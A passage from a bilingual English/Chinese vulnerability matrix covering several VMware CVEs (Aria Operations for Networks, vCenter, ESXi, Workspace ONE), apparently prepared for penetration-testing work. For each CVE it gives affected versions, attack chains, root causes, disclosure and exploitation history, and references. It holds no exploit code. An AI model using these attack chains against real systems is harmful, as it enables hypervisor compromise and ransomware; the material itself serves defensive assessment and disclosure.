6. CVE-2023-20887——VMware Aria Operations for Networks（vRealize Network Insight）预认证命令注入 → RCE

Affected: Aria Operations for Networks (formerly vRealize Network Insight / vRNI) 6.2 through 6.10.
Attack flow: Two-issue chain — (a) reach the Apache Thrift endpoint exposed on the management interface despite no authentication, (b) inject shell metacharacters into a parameter passed to a
```
bash -c
```
invocation. Single unauth POST → root.
Root cause: Thrift RPC endpoint exposed without auth + downstream shell-string composition with user input.
Disclosure: Reported by Sina Kheirkhah (@SinSinology) of Summoning Team to ZDI; advisory VMSA-2023-0012 published 2023-06-07. Public PoC released same week. CISA KEV: added 2023-06-22 after observed in-the-wild exploitation. Year discovered 2023, patched 2023.
References: https://www.vmware.com/security/advisories/VMSA-2023-0012.html ; https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ; https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ; https://github.com/sinsinology/CVE-2023-20887

受影响： Aria Operations for Networks（原 vRealize Network Insight / vRNI）6.2 至 6.10。
攻击流程： 两个问题组成的漏洞链——(a) 管理接口暴露了 Apache Thrift 端点且无需身份验证，(b) 向传入
```
bash -c
```
调用的参数注入 shell 元字符。通过单个未认证 POST 即可获得 root 权限。
根因： Thrift RPC 端点未暴露身份验证控制，同时下游 shell 字符串组合使用了用户输入。
披露： Summoning Team 的 Sina Kheirkhah（@SinSinology）向 ZDI 报告；厂商公告 VMSA-2023-0012 于 2023-06-07 发布。同周即发布了公开 PoC。CISA KEV： 在观测到在野利用后，于 2023-06-22 收录。发现于 2023 年，修复于 2023 年。
参考： https://www.vmware.com/security/advisories/VMSA-2023-0012.html ; https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ; https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ; https://github.com/sinsinology/CVE-2023-20887

7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)

7. CVE-2023-34048——vCenter Server DCERPC 预认证越界写入 → RCE（被 APT 利用的零日漏洞）

Affected: vCenter Server 7.0 < 7.0 U3o, 8.0 < 8.0 U1d/U2b; VMware Cloud Foundation bundles.
Attack flow: Unauthenticated network actor sends a crafted DCE/RPC packet to the vmdir/vmafd service → out-of-bounds write in the DCE/RPC protocol implementation → memory corruption → code execution. Forensic tell:
```
vmdird
```
crashes shortly before backdoor deployment.
Root cause: OOB write in DCE/RPC marshalling layer of vCenter management services.
Disclosure: Reported by Grigory Dorodnov of Trend Micro ZDI (publication ZDI-23-1623, suggesting a paid ZDI submission — bounty undisclosed). Advisory VMSA-2023-23 published 2023-10-24. Mandiant later attributed in-the-wild exploitation to UNC3886 (China-nexus espionage) since late 2021 — a ~1.5-year zero-day window before patch. CISA KEV: added 2024-01-22. Year discovered 2023 (patched), exploited since 2021.
References: https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/

受影响： vCenter Server 7.0 < 7.0 U3o、8.0 < 8.0 U1d/U2b；VMware Cloud Foundation 安装也受影响。
攻击流程： 未经身份验证的网络攻击者向 vmdir/vmafd 服务发送精心构造的 DCE/RPC 数据包 → DCE/RPC 协议实现发生越界写入 → 内存损坏 → 代码执行。取证线索：
```
vmdird
```
会在部署后门前不久崩溃。
根因： vCenter 管理服务的 DCE/RPC 编组层存在越界写入。
披露： Trend Micro ZDI 的 Grigory Dorodnov 报告（公开编号 ZDI-23-1623，表明这是一份付费提交给 ZDI 的漏洞报告——奖金金额未披露）。厂商公告 VMSA-2023-23 于 2023-10-24 发布。Mandiant 后来将自 2021 年末起的在野利用归因于 UNC3886（中国关联间谍活动）——该零日漏洞在修补前存在约 1.5 年的利用窗口。CISA KEV： 2024-01-22 收录。发现于 2023 年并已修补，但至少从 2021 年起已被利用。
参考： https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/（Mandiant） ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/

8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)

8. CVE-2024-37085——ESXi Active Directory 集成“ESX Admins”身份验证绕过（勒索软件常用漏洞）

Affected: ESXi 7.0 < ESXi70U3q-24585291, ESXi 8.0 < ESXi80U3-24022510; vCenter-managed clusters where ESXi is joined to AD.
Attack flow: Attacker with sufficient AD rights creates (or re-creates after deletion) a group literally named
```
ESX Admins
```
and adds an account. ESXi auto-grants every member full admin rights without checking that the group existed at join time. End-to-end: AD foothold → group create → SSH/API root on every domain-joined ESXi host → mass VM encryption.
Root cause: Hard-coded trust of group name
```
ESX Admins
```
with no domain-scoped identity validation.
Disclosure: Reported by Microsoft Threat Intelligence; advisory VMSA-2024-0013 published 2024-06-25. Microsoft Security Blog documents pre-patch exploitation by Storm-0506 (Black Basta), Storm-1175, Octo Tempest, and Manatee Tempest ransomware operators — including a confirmed Black Basta deployment at a North American engineering firm. CISA KEV: added 2024-07-30. Year discovered 2024 (exploited as 0-day), patched 2024.
References: https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html

受影响： ESXi 7.0 < ESXi70U3q-24585291、ESXi 8.0 < ESXi80U3-24022510；由 vCenter 管理且已加入 AD 的集群。
攻击流程： 拥有足够 AD 权限的攻击者创建一个名为
```
ESX Admins
```
的组（也可在删除后重新创建），并向其中添加账户。ESXi 会自动授予该组的所有成员完整管理员权限，而不会检查该组在加入域时是否已经存在。完整链路：AD 立足点 → 创建组 → 获取每个加入域的 ESXi 主机上的 SSH/API root → 大规模加密 VM。
根因： 对组名
```
ESX Admins
```
的硬编码信任，且没有进行域范围内的身份验证。
披露： Microsoft Threat Intelligence 报告；厂商公告 VMSA-2024-0013 于 2024-06-25 发布。Microsoft Security Blog 记录了 Storm-0506（Black Basta）、Storm-1175、Octo Tempest 和 Manatee Tempest 等勒索软件运营者在修补前的利用活动——包括某北美工程公司确认发生的 Black Basta 部署。CISA KEV： 2024-07-30 收录。发现于 2024 年，曾作为零日漏洞被利用，修复于 2024 年。
参考： https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html

9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write

9. CVE-2024-22273——ESXi / Workstation / Fusion / vCenter 存储控制器越界读/写

Note on the original ticket: This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an ESXi/vCenter storage controller out-of-bounds read/write, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is CVE-2023-34063 (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
Affected (CVE-2024-22273): ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
Attack flow: VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
Root cause: Missing bounds check in the storage controller emulation path.
Disclosure: Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
References: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
Aria-specific companion — CVE-2023-34063 (VMSA-2024-0001): Aria Automation 8.11.x–8.14.x missing access control — authenticated actor obtains unauthorized cross-organization access to remote workflows. CVSSv3 9.9. Patched in Aria Automation 8.16. References: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

原始工单说明： 此 CVE 在简报中被列为“Aria SSRF”，但实际 NVD 记录描述的是 ESXi/vCenter 存储控制器越界读/写，而非 Aria SSRF。2024 年漏洞周期中最接近 Aria SSRF 的问题是 CVE-2023-34063（VMSA-2024-0001）——Aria Automation 缺少访问控制，允许已认证攻击者跨组织访问；CVSSv3 9.9。两者均予引用，以确保矩阵在技术上准确。
受影响（CVE-2024-22273）： ESXi 7.0/8.0、Workstation 17.x、Fusion 13.x，以及 vCenter Server 打包版本。需要启用存储控制器的 VM 本地访问权限。
攻击流程： 启用存储控制器的 VM 可以发起精心构造的 I/O，触发主机上的越界读/写 → 信息泄露或主机 DoS（未直接证明可实现逃逸）。CVSS 8.1（重要）。
根因： 存储控制器模拟路径中缺少边界检查。
披露： TianGong Team、奇安信集团 Legendsec 的 Hao Zheng（@zhz）和 Jiaqing Huang（@s0duku）报告。厂商公告 VMSA-2024-0011 于 2024-05-21 发布。发现于 2024 年，修复于 2024 年。
参考： https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
Aria 专属配套漏洞——CVE-2023-34063（VMSA-2024-0001）： Aria Automation 8.11.x–8.14.x 缺少访问控制——已认证攻击者可以获得对远程工作流的未授权跨组织访问。CVSSv3 9.9。已在 Aria Automation 8.16 中修复。参考： https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)

10. CVE-2020-3992 + CVE-2021-21974——ESXi OpenSLP 预认证释放后使用 / 堆溢出（ESXiArgs 勒索软件攻击向量）

Affected: ESXi 6.5, 6.7, 7.0 prior to the OpenSLP patches (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). OpenSLP service on TCP/427.
Attack flow: Unauth attacker sends a crafted SLP packet to port 427 → memory corruption in the SLP daemon → code execution as root on the hypervisor. CVE-2020-3992 is the use-after-free (VMSA-2020-0023); CVE-2021-21974 is the heap-overflow variant (VMSA-2021-0002, same release wave as 21972).
Root cause: OpenSLP daemon — long-deprecated, exposed by default until 2021 — has unsafe parsing of SLP message frames.
Disclosure: CVE-2020-3992 reported by Lucas Leong of Trend Micro ZDI (ZDI-20-1376, paid ZDI submission). CVE-2021-21974 reported by Lucas Leong of Trend Micro ZDI as well. CISA KEV: CVE-2020-3992 added 2021-11-03; CVE-2021-21974 added 2023-02-08. ESXiArgs ransomware campaign (Feb 2023) hit ~3,800 internet-exposed hosts via CVE-2021-21974 — two years after patch was available. VMware disabled SLP by default in subsequent releases. Year discovered 2020/2021, patched 2020/2021, mass-exploited 2023.
References: https://www.vmware.com/security/advisories/VMSA-2020-0023.html ; https://www.vmware.com/security/advisories/VMSA-2021-0002.html ; https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ; https://www.cisa.gov/known-exploited-vulnerabilities-catalog ; https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ; https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

受影响： 尚未安装 OpenSLP 补丁的 ESXi 6.5、6.7、7.0（ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG）。OpenSLP 服务使用 TCP/427。
攻击流程： 未经身份验证的攻击者向 427 端口发送精心构造的 SLP 数据包 → SLP daemon 发生内存损坏 → 以 hypervisor 上的 root 身份执行代码。CVE-2020-3992 是释放后使用漏洞（VMSA-2020-0023）；CVE-2021-21974 是堆溢出变体（VMSA-2021-0002，与 21972 属于同一发布批次）。
根因： OpenSLP daemon——该组件早已弃用，但直到 2021 年仍默认暴露——对 SLP 消息帧采用了不安全的解析方式。
披露： CVE-2020-3992 由 Trend Micro ZDI 的 Lucas Leong 报告（ZDI-20-1376，付费提交给 ZDI）。CVE-2021-21974 同样由 Trend Micro ZDI 的 Lucas Leong 报告。CISA KEV： CVE-2020-3992 于 2021-11-03 收录；CVE-2021-21974 于 2023-02-08 收录。ESXiArgs 勒索软件活动（2023 年 2 月）通过 CVE-2021-21974 攻击了约 3,800 台暴露在互联网上的主机——此时补丁已发布两年。VMware 在后续版本中默认禁用了 SLP。发现于 2020/2021 年，修复于 2020/2021 年，2023 年遭到大规模利用。
参考： https://www.vmware.com/security/advisories/VMSA-2020-0023.html ; https://www.vmware.com/security/advisories/VMSA-2021-0002.html ; https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ; https://www.cisa.gov/known-exploited-vulnerabilities-catalog ; https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ; https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)

附加：CVE-2022-31656——Workspace ONE Access / Identity Manager / vRealize Automation 身份验证绕过（22972 后续漏洞）

Affected: Same product matrix as 22954/22972. Workspace ONE Access 21.08.x; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6.
Attack flow: Network-only actor obtains admin without authenticating; chained with CVE-2022-31659 (auth'd RCE) the pair yields pre-auth admin RCE — the spiritual successor to the 22954+22972 pair.
Root cause: Local-domain auth flow trusted a parameter that could be supplied without prior auth.
Disclosure: Reported by PetrusViet of VNG Security; advisory VMSA-2022-0021 published 2022-08-02. PetrusViet released chain writeup + PoC. Year 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656

受影响： 与 22954/22972 相同的产品矩阵。Workspace ONE Access 21.08.x；Identity Manager 3.3.3–3.3.6；vRealize Automation 7.6。
攻击流程： 纯网络攻击者无需身份验证即可获得管理员权限；与 CVE-2022-31659（已认证 RCE）串联后，可形成预认证管理员 RCE——可视为 22954+22972 漏洞对的延续。
根因： 本地域身份验证流程信任了一个无需事先身份验证即可提供的参数。
披露： VNG Security 的 PetrusViet 报告；厂商公告 VMSA-2022-0021 于 2022-08-02 发布。PetrusViet 发布了漏洞链文章与 PoC。发现于 2022 年。
参考： https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656

Key meta-references (cross-CVE)

关键元参考（跨 CVE）

CISA KEV catalog (VMware filter): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — VMware is one of the most-represented vendors; cross-check any vCenter/ESXi/Workspace finding here before grading severity.
Broadcom (formerly VMware) advisories index: https://support.broadcom.com/security-advisories (legacy https://www.vmware.com/security/advisories.html). Search by VMSA-YYYY-NNNN.
ZDI published advisories: https://www.zerodayinitiative.com/advisories/published/ — filter "VMware" for the canonical paid-bounty disclosures (CVE-2020-3992, CVE-2023-34048, multiple Aria Operations and vRNI).
Mandiant UNC3886 reporting: Google Cloud Threat Intelligence has the deepest published forensic trail on long-tail vCenter zero-day exploitation. Pair with the
```
mid-engagement-ir-detection
```
skill when working a target where vCenter is reachable.

The pattern across every entry above: VMware management-plane CVEs are pre-auth, network-reachable, and mass-exploited within days of patch. When external recon surfaces any of these products at a current-minus-one patch level, that is a Critical finding worth a same-day callout in the deliverable — not a Medium info-disclosure.

CISA KEV catalog（VMware 筛选）： https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware —— VMware 是代表性最高的厂商之一；对任何 vCenter/ESXi/Workspace 发现项进行严重性评级前，应先在此交叉核对。
Broadcom（原 VMware）advisories 索引： https://support.broadcom.com/security-advisories（旧版地址为 https://www.vmware.com/security/advisories.html）。可按 VMSA-YYYY-NNNN 搜索。
ZDI 已发布 advisories： https://www.zerodayinitiative.com/advisories/published/ —— 筛选“VMware”可找到规范化的付费漏洞披露，例如 CVE-2020-3992、CVE-2023-34048，以及多个 Aria Operations 和 vRNI 漏洞。
Mandiant UNC3886 报告： Google Cloud Threat Intelligence 提供了关于长尾 vCenter 零日漏洞利用最完整的公开取证记录。在目标 vCenter 可访问时，应与
```
mid-engagement-ir-detection
```
skill 配合使用。

上述每个条目都呈现出同一模式：**VMware 管理平面 CVE 均可预认证、通过网络访问，并常在补丁发布后数日内遭到大规模利用。**当外部侦察发现其中任一产品的补丁级别仅落后一个版本时，应将其评为严重（Critical）发现，并在交付物中当日通报，而非仅视为中危信息泄露。